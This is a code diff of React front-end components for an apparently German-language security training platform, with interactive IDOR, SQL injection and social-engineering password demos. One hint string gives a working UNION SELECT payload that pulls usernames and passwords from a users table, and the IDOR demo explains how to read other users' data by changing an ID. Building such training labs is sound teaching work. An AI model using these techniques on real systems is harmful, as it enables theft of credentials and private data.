onClick={() => fetchProfile()}
disabled={loading}
style={{
marginLeft: '0.25rem',
padding: '0.5rem 1rem',
background: loading ? '#9ca3af' : '#3b82f6',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: loading ? 'not-allowed' : 'pointer',
fontSize: '0.75rem',
fontWeight: '500'
}}
>
{loading ? '⏳' : '→'}
</button>
</div>
{/* DEMO BROWSER Label */}
<div style={{
position: 'absolute',
top: '0.5rem',
right: '0.5rem',
background: '#fee2e2',
color: '#991b1b',
padding: '0.25rem 0.5rem',
borderRadius: '0.25rem',
fontSize: '0.625rem',
fontWeight: '600',
zIndex: 10
}}>
DEMO BROWSER
</div>
{/* Browser Content */}
<div style={{ padding: '2rem', minHeight: '400px', background: '#f9fafb' }}>
{loading && (
<div style={{ textAlign: 'center', padding: '2rem', color: '#6b7280' }}>
<div style={{ fontSize: '2rem', marginBottom: '0.5rem' }}></div>
Profil wird geladen...
</div>
)}
{error && !loading && (
<div style={{
padding: '1.5rem',
background: '#fee2e2',
border: '2px solid #ef4444',
borderRadius: '0.375rem',
textAlign: 'center'
}}>
<div style={{ fontSize: '2rem', marginBottom: '0.5rem' }}></div>
<div style={{ fontWeight: '600', color: '#991b1b', marginBottom: '0.5rem' }}>
{error}
</div>
</div>
)}
{profile && profile.user && !loading && (
<>
{/* Easter Egg Message */}
{profile.easterEgg && (
<div style={{
padding: '1rem',
background: '#f0fdf4',
border: '3px solid #22c55e',
borderRadius: '0.375rem',
marginBottom: '1.5rem',
textAlign: 'center',
animation: 'pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite'
}}>
<div style={{
fontSize: '2rem',
marginBottom: '0.5rem'
}}>
{profile.easterEgg.type === 'admin' && '🎯'}
{profile.easterEgg.type === 'millionaire' && '💰'}
{profile.easterEgg.type === 'shrug' && '¯\\_(ツ)_/¯'}
</div>
<div style={{
fontWeight: '600',
color: '#166534',
fontSize: '1rem',
marginBottom: '0.5rem'
}}>
{profile.easterEgg.message}
</div>
{profile.pointsAwarded && (
<div style={{
fontSize: '1.25rem',
fontWeight: 'bold',
color: '#16a34a'
}}>
+{profile.pointsAwarded} Punkte
</div>
)}
</div>
)}
{/* IDOR Vulnerability Warning */}
{profile.isUnauthorized && profile.vulnerability && (
<div style={{
padding: '1rem',
background: profile.vulnerability.severity === 'CRITICAL' ? '#7f1d1d' : '#fee2e2',
border: `3px solid ${profile.vulnerability.severity === 'CRITICAL' ? '#991b1b' : '#ef4444'}`,
borderRadius: '0.375rem',
marginBottom: '1.5rem',
animation: 'pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite'
}}>
<div style={{
fontWeight: '600',
color: profile.vulnerability.severity === 'CRITICAL' ? 'white' : '#991b1b',
fontSize: '1rem',
marginBottom: '0.5rem'
}}>
{profile.vulnerability.description}
</div>
<div style={{
fontSize: '0.875rem',
color: profile.vulnerability.severity === 'CRITICAL' ? '#fecaca' : '#7f1d1d',
marginBottom: '0.5rem'
}}>
{profile.vulnerability.message}
</div>
{profile.pointsAwarded && !profile.easterEgg && (
<div style={{
fontSize: '0.875rem',
color: profile.vulnerability.severity === 'CRITICAL' ? '#86efac' : '#16a34a',
fontWeight: '600',
marginTop: '0.5rem'
}}>
+{profile.pointsAwarded} Punkte für IDOR-Entdeckung
</div>
)}
<div style={{
fontSize: '0.75rem',
color: profile.vulnerability.severity === 'CRITICAL' ? '#fca5a5' : '#991b1b',
padding: '0.5rem',
background: profile.vulnerability.severity === 'CRITICAL' ? 'rgba(0,0,0,0.2)' : '#fef2f2',
borderRadius: '0.25rem',
marginTop: '0.5rem'
}}>
<strong>Auswirkung:</strong> {profile.vulnerability.impact}
</div>
{profile.vulnerability.cve && (
<div style={{
fontSize: '0.75rem',
color: 'white',
marginTop: '0.5rem',
padding: '0.5rem',
background: '#dc2626',
borderRadius: '0.25rem',
fontWeight: '600'
}}>
🚨 {profile.vulnerability.cve}
</div>
)}
</div>
)}
{/* User Profile Card */}
<div style={{
background: 'white',
border: '1px solid #e5e7eb',
borderRadius: '0.5rem',
padding: '2rem'
}}>
<div style={{
display: 'flex',
alignItems: 'flex-start',
marginBottom: '1.5rem'
}}>
<div style={{
width: '4rem',
height: '4rem',
borderRadius: '50%',
background: profile.isCurrentUser ? '#3b82f6' : '#9ca3af',
color: 'white',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
fontSize: '1.5rem',
fontWeight: '600',
marginRight: '1rem'
}}>
{profile.user.name.charAt(0)}
</div>
<div style={{ flex: 1 }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.25rem' }}>
<h3 style={{ margin: 0, color: '#1f2937' }}>{profile.user.name}</h3>
{profile.isCurrentUser && (
<span style={{
background: '#dbeafe',
color: '#1e40af',
padding: '0.125rem 0.5rem',
borderRadius: '0.25rem',
fontSize: '0.75rem',
fontWeight: '500'
}}>
Sie
</span>
)}
</div>
<div style={{ color: '#6b7280', fontSize: '0.875rem' }}>
{profile.user.email}
</div>
<div style={{ color: '#9ca3af', fontSize: '0.75rem', marginTop: '0.25rem' }}>
{profile.user.accountType}
</div>
</div>
</div>
{/* Account Details */}
<div style={{
background: '#f9fafb',
border: '1px solid #e5e7eb',
borderRadius: '0.375rem',
padding: '1rem'
}}>
<div style={{ fontSize: '0.875rem', fontWeight: '600', marginBottom: '1rem', color: '#374151' }}>
Kontodetails
</div>
<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '1rem' }}>
<div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.25rem' }}>
Kontostand
</div>
<div style={{ fontSize: '1.125rem', fontWeight: '600', color: '#1f2937' }}>
{profile.user.accountBalance}
</div>
</div>
<div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.25rem' }}>
Kontonummer
</div>
<div style={{ fontSize: '1.125rem', fontWeight: '600', color: '#1f2937', fontFamily: 'monospace' }}>
{profile.user.accountNumber}
</div>
</div>
<div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.25rem' }}>
Telefonnummer
</div>
<div style={{ fontSize: '0.875rem', color: '#374151' }}>
{profile.user.phone}
</div>
</div>
<div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.25rem' }}>
Letzte Anmeldung
</div>
<div style={{ fontSize: '0.875rem', color: '#374151' }}>
{profile.user.lastLogin}
</div>
</div>
</div>
<div style={{ marginTop: '1rem', paddingTop: '1rem', borderTop: '1px solid #e5e7eb' }}>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.25rem' }}>
Adresse
</div>
<div style={{ fontSize: '0.875rem', color: '#374151' }}>
{profile.user.address}
</div>
</div>
</div>
</div>
</>
)}
</div>
</div>
{/* Learning Tip */}
<div style={{
marginTop: '1.5rem',
padding: '1rem',
background: '#eff6ff',
border: '1px solid #3b82f6',
borderRadius: '0.375rem',
fontSize: '0.875rem'
}}>
<div style={{ fontWeight: '600', color: '#1e40af', marginBottom: '0.5rem' }}>
💡 Lerntipp
</div>
<div style={{ color: '#1e3a8a' }}>
Beachten Sie, wie Sie auf private Informationen anderer Benutzer zugreifen können, indem Sie einfach den userId-Parameter ändern. In einer sicheren Anwendung muss der Server überprüfen, ob Sie die Berechtigung haben, auf jede spezifische Ressource zuzugreifen!
</div>
</div>
</div>
);
};
export default IDORDemo;

View File

@ -1,4 +1,4 @@
import React, { useState } from 'react';
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../../../services/api.service';
const SQLShopDemo = ({ lessonData, eventLessonId }) => {
@ -7,8 +7,102 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
const [loading, setLoading] = useState(false);
const [showSafeComparison, setShowSafeComparison] = useState(false);
// Timer state
const [timerActive, setTimerActive] = useState(false);
const [timeLeft, setTimeLeft] = useState(0);
// Discovery tracking
const [discoveries, setDiscoveries] = useState(new Set());
// Hints
const [currentHint, setCurrentHint] = useState(null);
const [hintsUsed, setHintsUsed] = useState(0);
// UI state
const [showResources, setShowResources] = useState(false);
const [showSchema, setShowSchema] = useState(false);
const [showChallenges, setShowChallenges] = useState(true);
const interactiveData = lessonData?.interactiveData || {};
const examples = interactiveData.examples || [];
const timerDuration = interactiveData.timerDuration || 600;
const totalChallenges = interactiveData.totalChallenges || 5;
const challenges = interactiveData.challenges || [];
const externalResources = interactiveData.externalResources || [];
const schemaInfo = interactiveData.schemaInfo || {};
// Auto-start timer on mount
useEffect(() => {
if (eventLessonId && !timerActive && timeLeft === 0) {
startTimer();
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [eventLessonId]);
// Timer countdown
useEffect(() => {
if (timerActive && timeLeft > 0) {
const timer = setInterval(() => {
setTimeLeft(prev => {
if (prev <= 1) {
setTimerActive(false);
return 0;
}
return prev - 1;
});
}, 1000);
return () => clearInterval(timer);
}
}, [timerActive, timeLeft]);
const startTimer = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'start-timer',
{}
);
const result = response.data.data;
if (result.started) {
setTimerActive(true);
setTimeLeft(result.duration);
// Update discoveries from timer response
if (result.discoveries && result.discoveries.types) {
setDiscoveries(new Set(result.discoveries.types));
}
// Show UNION hint if it was previously unlocked
if (result.unionHintShown) {
setCurrentHint({
title: '🎯 Neue Herausforderung freigeschaltet!',
content: 'Du kannst jetzt versuchen, Daten aus anderen Tabellen zu extrahieren! Die Datenbank hat eine "users" Tabelle mit den Spalten: id, username, password, role. Verwende UNION SELECT um diese Daten zu kombinieren. Die Anzahl der Spalten muss übereinstimmen (5 Spalten).',
hint: "Versuche: ' UNION SELECT id, username, password, role, 'X' FROM users--"
});
}
}
} catch (error) {
console.error('Failed to start timer:', error);
}
};
const getHint = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'get-hint',
{}
);
const hintData = response.data.data;
if (hintData.available) {
setCurrentHint(hintData.hint);
setHintsUsed(hintData.totalHintsUsed);
} else {
setCurrentHint({ message: hintData.message });
}
} catch (error) {
console.error('Failed to get hint:', error);
}
};
const executeSearch = async (term = searchTerm) => {
if (!term.trim()) return;
@ -20,13 +114,24 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
'execute-query',
{ searchTerm: term, mode: 'vulnerable' }
);
setQueryResult(response.data.data);
const result = response.data.data;
setQueryResult(result);
// Update discoveries
if (result.discoveries && result.discoveries.types) {
setDiscoveries(new Set(result.discoveries.types));
}
// Show UNION hint if unlocked
if (result.unionHintMessage) {
setCurrentHint(result.unionHintMessage);
}
} catch (error) {
console.error('Failed to execute query:', error);
setQueryResult({
query: 'Error executing query',
query: 'Fehler beim Ausführen der Abfrage',
results: [],
explanation: 'Failed to execute search'
explanation: 'Suche konnte nicht ausgeführt werden'
});
} finally {
setLoading(false);
@ -52,60 +157,276 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
}
};
const loadExample = (example) => {
setSearchTerm(example.input);
setShowSafeComparison(false);
const formatTime = (seconds) => {
const mins = Math.floor(seconds / 60);
const secs = seconds % 60;
return `${mins}:${secs.toString().padStart(2, '0')}`;
};
const getDifficultyColor = (difficulty) => {
switch (difficulty) {
case 'Anfänger': return '#10b981';
case 'Mittel': return '#f59e0b';
case 'Fortgeschritten': return '#ef4444';
default: return '#6b7280';
}
};
return (
<div style={{ border: '1px solid #e5e7eb', borderRadius: '0.5rem', padding: '1.5rem', background: 'white' }}>
<div style={{ marginBottom: '1.5rem' }}>
<h4 style={{ marginBottom: '1rem', color: '#1f2937' }}>🛒 TechShop - Product Search</h4>
<p style={{ fontSize: '0.875rem', color: '#6b7280', marginBottom: '1rem' }}>
This is a vulnerable online shop. Try searching for products, then experiment with SQL injection.
</p>
{/* Header with Timer and Discovery Tracker */}
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '1.5rem', flexWrap: 'wrap', gap: '1rem' }}>
<h4 style={{ margin: 0, color: '#1f2937' }}>🛒 TechShop SQL Injection Challenge</h4>
{/* Example Queries */}
<div style={{ marginBottom: '1rem' }}>
<div style={{ fontSize: '0.875rem', fontWeight: '500', marginBottom: '0.5rem' }}>
Try these examples:
<div style={{ display: 'flex', gap: '1rem', alignItems: 'center' }}>
{/* Discovery Tracker */}
<div style={{
padding: '0.5rem 1rem',
background: '#eff6ff',
border: '2px solid #3b82f6',
borderRadius: '0.5rem',
fontWeight: '600',
fontSize: '0.875rem',
color: '#1e40af'
}}>
🎯 {discoveries.size}/{totalChallenges} Entdeckt
</div>
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem' }}>
{examples.map((example, idx) => (
<button
key={idx}
onClick={() => loadExample(example)}
style={{
padding: '0.5rem 0.75rem',
fontSize: '0.75rem',
background: '#f3f4f6',
border: '1px solid #d1d5db',
borderRadius: '0.375rem',
cursor: 'pointer',
transition: 'all 0.2s'
}}
onMouseOver={(e) => {
e.target.style.background = '#e5e7eb';
}}
onMouseOut={(e) => {
e.target.style.background = '#f3f4f6';
}}
title={example.description}
>
{example.label}
</button>
{/* Timer */}
{!timerActive ? (
<button
onClick={startTimer}
style={{
padding: '0.5rem 1rem',
background: '#10b981',
color: 'white',
border: 'none',
borderRadius: '0.5rem',
cursor: 'pointer',
fontWeight: '600',
fontSize: '0.875rem'
}}
>
Timer starten (10 Min)
</button>
) : (
<div style={{
padding: '0.5rem 1rem',
background: timeLeft < 60 ? '#fee2e2' : '#dcfce7',
border: `2px solid ${timeLeft < 60 ? '#ef4444' : '#10b981'}`,
borderRadius: '0.5rem',
fontWeight: '600',
fontSize: '0.875rem',
color: timeLeft < 60 ? '#991b1b' : '#065f46'
}}>
{formatTime(timeLeft)}
</div>
)}
</div>
</div>
{/* Challenges Overview */}
{showChallenges && challenges.length > 0 && (
<div style={{ marginBottom: '1.5rem', padding: '1rem', background: '#f9fafb', borderRadius: '0.5rem' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '0.75rem' }}>
<h5 style={{ margin: 0, fontSize: '0.875rem', fontWeight: '600' }}>🎮 Herausforderungen</h5>
<button
onClick={() => setShowChallenges(false)}
style={{ background: 'none', border: 'none', cursor: 'pointer', fontSize: '1.25rem' }}
>
</button>
</div>
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(200px, 1fr))', gap: '0.75rem' }}>
{challenges.map((challenge) => {
const isDiscovered = discoveries.has(challenge.id);
return (
<div
key={challenge.id}
style={{
padding: '0.75rem',
background: isDiscovered ? '#d1fae5' : 'white',
border: `2px solid ${isDiscovered ? '#10b981' : '#e5e7eb'}`,
borderRadius: '0.375rem',
fontSize: '0.75rem'
}}
>
<div style={{ display: 'flex', justifyContent: 'space-between', marginBottom: '0.25rem' }}>
<span style={{ fontWeight: '600' }}>
{isDiscovered ? '✅' : '🔒'} {challenge.title}
</span>
{challenge.isEasterEgg && <span></span>}
</div>
<div style={{ color: getDifficultyColor(challenge.difficulty), fontWeight: '500', marginBottom: '0.25rem' }}>
{challenge.difficulty} {challenge.points} Punkte
</div>
{!isDiscovered && (
<div style={{ color: '#6b7280', fontSize: '0.7rem' }}>
{challenge.hint}
</div>
)}
</div>
);
})}
</div>
</div>
)}
{/* Hint System */}
<div style={{ marginBottom: '1.5rem' }}>
<button
onClick={getHint}
disabled={hintsUsed >= 5}
style={{
padding: '0.75rem 1.5rem',
background: hintsUsed >= 5 ? '#9ca3af' : '#f59e0b',
color: 'white',
border: 'none',
borderRadius: '0.5rem',
cursor: hintsUsed >= 5 ? 'not-allowed' : 'pointer',
fontWeight: '500',
fontSize: '0.875rem',
marginRight: '0.5rem',
opacity: hintsUsed >= 5 ? 0.6 : 1
}}
>
💡 {hintsUsed >= 5 ? 'Alle Hinweise verwendet' : `Hinweis anfordern (${hintsUsed}/5 verwendet)`}
</button>
<button
onClick={() => setShowSchema(!showSchema)}
style={{
padding: '0.75rem 1.5rem',
background: '#6366f1',
color: 'white',
border: 'none',
borderRadius: '0.5rem',
cursor: 'pointer',
fontWeight: '500',
fontSize: '0.875rem',
marginRight: '0.5rem'
}}
>
📊 Datenbank-Schema {showSchema ? 'verbergen' : 'anzeigen'}
</button>
<button
onClick={() => setShowResources(!showResources)}
style={{
padding: '0.75rem 1.5rem',
background: '#8b5cf6',
color: 'white',
border: 'none',
borderRadius: '0.5rem',
cursor: 'pointer',
fontWeight: '500',
fontSize: '0.875rem'
}}
>
📚 Ressourcen {showResources ? 'verbergen' : 'anzeigen'}
</button>
</div>
{/* Current Hint Display */}
{currentHint && (
<div style={{
marginBottom: '1.5rem',
padding: '1rem',
background: '#fef3c7',
border: '2px solid #f59e0b',
borderRadius: '0.5rem'
}}>
<div style={{ fontWeight: '600', color: '#92400e', marginBottom: '0.5rem' }}>
💡 {currentHint.title || 'Hinweis'}
{currentHint.cost && <span style={{ float: 'right' }}>-{currentHint.cost} Punkte</span>}
</div>
<div style={{ color: '#78350f', fontSize: '0.875rem', marginBottom: '0.5rem' }}>
{currentHint.content || currentHint.message}
</div>
{currentHint.resources && currentHint.resources.length > 0 && (
<div style={{ marginTop: '0.5rem' }}>
{currentHint.resources.map((resource, idx) => (
<a
key={idx}
href={resource.url}
target="_blank"
rel="noopener noreferrer"
style={{ color: '#0284c7', fontSize: '0.75rem', marginRight: '1rem' }}
>
📖 {resource.title}
</a>
))}
</div>
)}
</div>
)}
{/* Schema Information */}
{showSchema && schemaInfo.tables && (
<div style={{
marginBottom: '1.5rem',
padding: '1rem',
background: '#f0f9ff',
border: '2px solid #0ea5e9',
borderRadius: '0.5rem'
}}>
<h5 style={{ margin: '0 0 0.75rem 0', color: '#0c4a6e' }}>📊 Datenbank-Schema</h5>
<div style={{ fontSize: '0.875rem', fontFamily: 'monospace' }}>
<div style={{ marginBottom: '0.5rem' }}>
<strong>Tabellen:</strong> {schemaInfo.tables.join(', ')}
</div>
<div style={{ marginBottom: '0.25rem' }}>
<strong>products:</strong> {schemaInfo.productsColumns?.join(', ')}
</div>
<div style={{ marginBottom: '0.25rem' }}>
<strong>users:</strong> {schemaInfo.usersColumns?.join(', ')}
</div>
<div>
<strong>orders:</strong> {schemaInfo.ordersColumns?.join(', ')}
</div>
</div>
</div>
)}
{/* External Resources */}
{showResources && externalResources.length > 0 && (
<div style={{
marginBottom: '1.5rem',
padding: '1rem',
background: '#faf5ff',
border: '2px solid #a855f7',
borderRadius: '0.5rem'
}}>
<h5 style={{ margin: '0 0 0.75rem 0', color: '#581c87' }}>📚 Externe Ressourcen</h5>
<div style={{ display: 'grid', gap: '0.75rem' }}>
{externalResources.map((resource, idx) => (
<div key={idx}>
<a
href={resource.url}
target="_blank"
rel="noopener noreferrer"
style={{ color: '#7c3aed', fontWeight: '600', fontSize: '0.875rem' }}
>
{resource.title}
</a>
<div style={{ color: '#6b21a8', fontSize: '0.75rem' }}>
{resource.description}
</div>
</div>
))}
</div>
</div>
)}
{/* Search Input */}
<div style={{ display: 'flex', gap: '0.5rem', marginBottom: '1rem' }}>
{/* Search Input */}
<div style={{ marginBottom: '1rem' }}>
<div style={{ display: 'flex', gap: '0.5rem' }}>
<input
type="text"
value={searchTerm}
onChange={(e) => setSearchTerm(e.target.value)}
onKeyPress={(e) => e.key === 'Enter' && executeSearch()}
placeholder="Search products... (try SQL injection!)"
placeholder="SQL Injection payload eingeben..."
style={{
flex: 1,
padding: '0.75rem',
@ -126,10 +447,11 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
borderRadius: '0.375rem',
cursor: loading ? 'not-allowed' : 'pointer',
fontSize: '0.875rem',
fontWeight: '500'
fontWeight: '500',
opacity: loading || !searchTerm.trim() ? 0.5 : 1
}}
>
{loading ? 'Searching...' : '🔍 Vulnerable Search'}
{loading ? 'Läuft...' : '🔍 Verwundbar'}
</button>
<button
onClick={executeSafeSearch}
@ -142,10 +464,11 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
borderRadius: '0.375rem',
cursor: loading ? 'not-allowed' : 'pointer',
fontSize: '0.875rem',
fontWeight: '500'
fontWeight: '500',
opacity: loading || !searchTerm.trim() ? 0.5 : 1
}}
>
{loading ? 'Searching...' : '✅ Safe Search'}
{loading ? 'Läuft...' : '✅ Sicher'}
</button>
</div>
</div>
@ -155,7 +478,7 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
<div>
{/* SQL Query Display */}
<div style={{ marginBottom: '1rem', padding: '1rem', background: '#1f2937', color: '#f3f4f6', borderRadius: '0.375rem', fontFamily: 'monospace', fontSize: '0.875rem' }}>
<div style={{ color: '#9ca3af', marginBottom: '0.5rem' }}>Executed SQL Query:</div>
<div style={{ color: '#9ca3af', marginBottom: '0.5rem' }}>Ausgeführte SQL-Abfrage:</div>
<div style={{ color: '#fbbf24' }}>{queryResult.query}</div>
{queryResult.parameter && (
<div style={{ marginTop: '0.5rem' }}>
@ -165,6 +488,24 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
)}
</div>
{/* New Discovery Alert */}
{queryResult.isNewDiscovery && queryResult.pointsAwarded > 0 && (
<div style={{
padding: '1rem',
background: '#d1fae5',
border: '2px solid #10b981',
borderRadius: '0.375rem',
marginBottom: '1rem'
}}>
<div style={{ fontWeight: '600', color: '#065f46', fontSize: '1.125rem', marginBottom: '0.5rem' }}>
🎉 Neue Entdeckung! +{queryResult.pointsAwarded} Punkte
</div>
<div style={{ fontSize: '0.875rem', color: '#047857' }}>
Du hast eine neue SQL Injection-Technik entdeckt!
</div>
</div>
)}
{/* Injection Detection */}
{queryResult.injectionDetected && (
<div style={{
@ -175,7 +516,8 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
marginBottom: '1rem'
}}>
<div style={{ fontWeight: '600', color: '#991b1b', marginBottom: '0.5rem' }}>
SQL Injection Detected: {queryResult.injectionType?.replace(/_/g, ' ')}
SQL-Injection: {queryResult.injectionType?.replace(/_/g, ' ')}
{queryResult.injectionType === 'UNION_SELECT' && ' ⭐ Easter Egg!'}
</div>
<div style={{ fontSize: '0.875rem', color: '#7f1d1d' }}>
{queryResult.explanation}
@ -193,7 +535,7 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
marginBottom: '1rem'
}}>
<div style={{ fontWeight: '600', color: '#065f46', marginBottom: '0.5rem' }}>
Secure Query
Sichere Abfrage
</div>
<div style={{ fontSize: '0.875rem', color: '#047857' }}>
{queryResult.explanation}
@ -204,7 +546,7 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
{/* Results Table */}
<div>
<div style={{ fontSize: '0.875rem', fontWeight: '500', marginBottom: '0.5rem', color: '#374151' }}>
Results: {queryResult.recordCount} {queryResult.recordCount === 1 ? 'record' : 'records'}
Ergebnisse: {queryResult.recordCount} {queryResult.recordCount === 1 ? 'Datensatz' : 'Datensätze'}
</div>
{queryResult.results.length > 0 ? (
@ -214,9 +556,9 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
<tr style={{ background: '#f9fafb', borderBottom: '2px solid #e5e7eb' }}>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>ID</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Name</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Price</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Category</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Stock</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Preis</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Kategorie</th>
<th style={{ padding: '0.75rem', textAlign: 'left', fontWeight: '600' }}>Lagerbestand</th>
</tr>
</thead>
<tbody>
@ -245,8 +587,8 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
) : (
<div style={{ padding: '2rem', textAlign: 'center', color: '#6b7280', background: '#f9fafb', borderRadius: '0.375rem' }}>
{queryResult.injectionType === 'DROP_TABLE'
? '💥 Table would be deleted! (Simulated - no actual data was harmed)'
: 'No products found'
? '💥 Tabelle würde gelöscht werden! (Simuliert - keine Daten wurden tatsächlich beschädigt)'
: 'Keine Produkte gefunden'
}
</div>
)}
@ -254,14 +596,14 @@ const SQLShopDemo = ({ lessonData, eventLessonId }) => {
</div>
)}
{/* Educational Note */}
{!queryResult && (
<div style={{ padding: '1.5rem', background: '#eff6ff', border: '1px solid #3b82f6', borderRadius: '0.375rem', fontSize: '0.875rem' }}>
<div style={{ fontWeight: '600', color: '#1e40af', marginBottom: '0.5rem' }}>
💡 Learning Tip
{/* Initial Instructions with Helpful Hints */}
{!queryResult && interactiveData.initialHint && (
<div style={{ padding: '1.5rem', background: '#fef3c7', border: '2px solid #f59e0b', borderRadius: '0.5rem' }}>
<div style={{ fontWeight: '600', color: '#92400e', marginBottom: '0.75rem', fontSize: '1rem' }}>
{interactiveData.initialHint.title}
</div>
<div style={{ color: '#1e3a8a' }}>
Start with a normal search like "laptop" to see how the query works. Then try the SQL injection examples to understand how attackers manipulate queries.
<div style={{ color: '#78350f', lineHeight: '1.6' }}>
{interactiveData.initialHint.content}
</div>
</div>
)}

View File

@ -0,0 +1,372 @@
import React, { useState } from 'react';
import { participantAPI } from '../../../services/api.service';
const SocialMediaPasswordDemo = ({ lessonData, eventLessonId }) => {
const interactiveData = lessonData?.interactiveData || {};
const profile = interactiveData.profile || {};
const loginForm = interactiveData.loginForm || {};
const posts = profile.posts || [];
const [password, setPassword] = useState('');
const [result, setResult] = useState(null);
const [loading, setLoading] = useState(false);
const attemptLogin = async () => {
if (!password.trim()) return;
setLoading(true);
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'test-password',
{ password }
);
setResult(response.data.data);
if (response.data.data.success) {
// Clear password on success
setTimeout(() => {
setPassword('');
}, 3000);
}
} catch (error) {
console.error('Failed to test password:', error);
setResult({
success: false,
message: 'Fehler bei der Passwortprüfung',
attemptCount: 0
});
} finally {
setLoading(false);
}
};
return (
<div style={{ border: '1px solid #e5e7eb', borderRadius: '0.5rem', padding: '1.5rem', background: 'white' }}>
{/* Educational Warning */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '2px solid #f59e0b',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#92400e' }}>
Nur zu Bildungszwecken
</div>
<div style={{ fontSize: '0.875rem', color: '#78350f', marginTop: '0.5rem' }}>
Dies ist eine sichere Simulation. Teilen Sie niemals persönliche Informationen in sozialen Medien, die für Passwörter verwendet werden könnten!
</div>
</div>
<h4 style={{ marginBottom: '1.5rem', color: '#1f2937' }}>🔐 Social Engineering - Passwort-Schwachstelle</h4>
{/* Two-Column Layout */}
<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '1.5rem' }}>
{/* Left Column: Social Media Profile */}
<div style={{
border: '1px solid #e5e7eb',
borderRadius: '0.5rem',
background: '#fafafa',
overflow: 'hidden'
}}>
{/* Profile Header */}
<div style={{
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
padding: '1.5rem',
color: 'white'
}}>
<div style={{
width: '4rem',
height: '4rem',
borderRadius: '50%',
background: 'white',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
fontSize: '2rem',
marginBottom: '0.75rem'
}}>
{profile.profileImage || '👤'}
</div>
<div style={{ fontSize: '1.25rem', fontWeight: '600', marginBottom: '0.25rem' }}>
{profile.name}
</div>
<div style={{ fontSize: '0.875rem', opacity: 0.9 }}>
{profile.username}
</div>
<div style={{ fontSize: '0.75rem', opacity: 0.8, marginTop: '0.5rem' }}>
{profile.bio}
</div>
</div>
{/* Profile Stats */}
<div style={{
display: 'grid',
gridTemplateColumns: '1fr 1fr 1fr',
padding: '1rem',
borderBottom: '1px solid #e5e7eb',
background: 'white'
}}>
<div style={{ textAlign: 'center' }}>
<div style={{ fontWeight: '600', color: '#1f2937' }}>{posts.length}</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>Beiträge</div>
</div>
<div style={{ textAlign: 'center' }}>
<div style={{ fontWeight: '600', color: '#1f2937' }}>{profile.followers || 0}</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>Follower</div>
</div>
<div style={{ textAlign: 'center' }}>
<div style={{ fontWeight: '600', color: '#1f2937' }}>{profile.following || 0}</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>Folge ich</div>
</div>
</div>
{/* Posts Feed */}
<div style={{
maxHeight: '400px',
overflowY: 'auto',
padding: '1rem'
}}>
<div style={{ fontWeight: '600', marginBottom: '1rem', color: '#374151', fontSize: '0.875rem' }}>
📝 Beiträge
</div>
{posts.map((post, idx) => (
<div
key={post.id || idx}
style={{
background: 'white',
border: '1px solid #e5e7eb',
borderRadius: '0.375rem',
padding: '1rem',
marginBottom: '1rem'
}}
>
{post.type === 'photo' && (
<>
<div style={{
background: '#e5e7eb',
borderRadius: '0.375rem',
padding: '2rem',
marginBottom: '0.75rem',
textAlign: 'center',
fontSize: '0.875rem',
color: '#6b7280',
fontStyle: 'italic'
}}>
{post.imageDescription}
</div>
<div style={{ fontSize: '0.875rem', color: '#374151', marginBottom: '0.5rem' }}>
{post.caption}
</div>
</>
)}
{post.type === 'text' && (
<div style={{ fontSize: '0.875rem', color: '#374151', marginBottom: '0.5rem' }}>
{post.content}
</div>
)}
<div style={{
display: 'flex',
gap: '1rem',
fontSize: '0.75rem',
color: '#6b7280',
marginTop: '0.75rem',
paddingTop: '0.75rem',
borderTop: '1px solid #f3f4f6'
}}>
<span> {post.likes || 0} Gefällt mir</span>
<span>💬 {post.comments || 0} Kommentare</span>
<span style={{ marginLeft: 'auto' }}>{post.timestamp}</span>
</div>
</div>
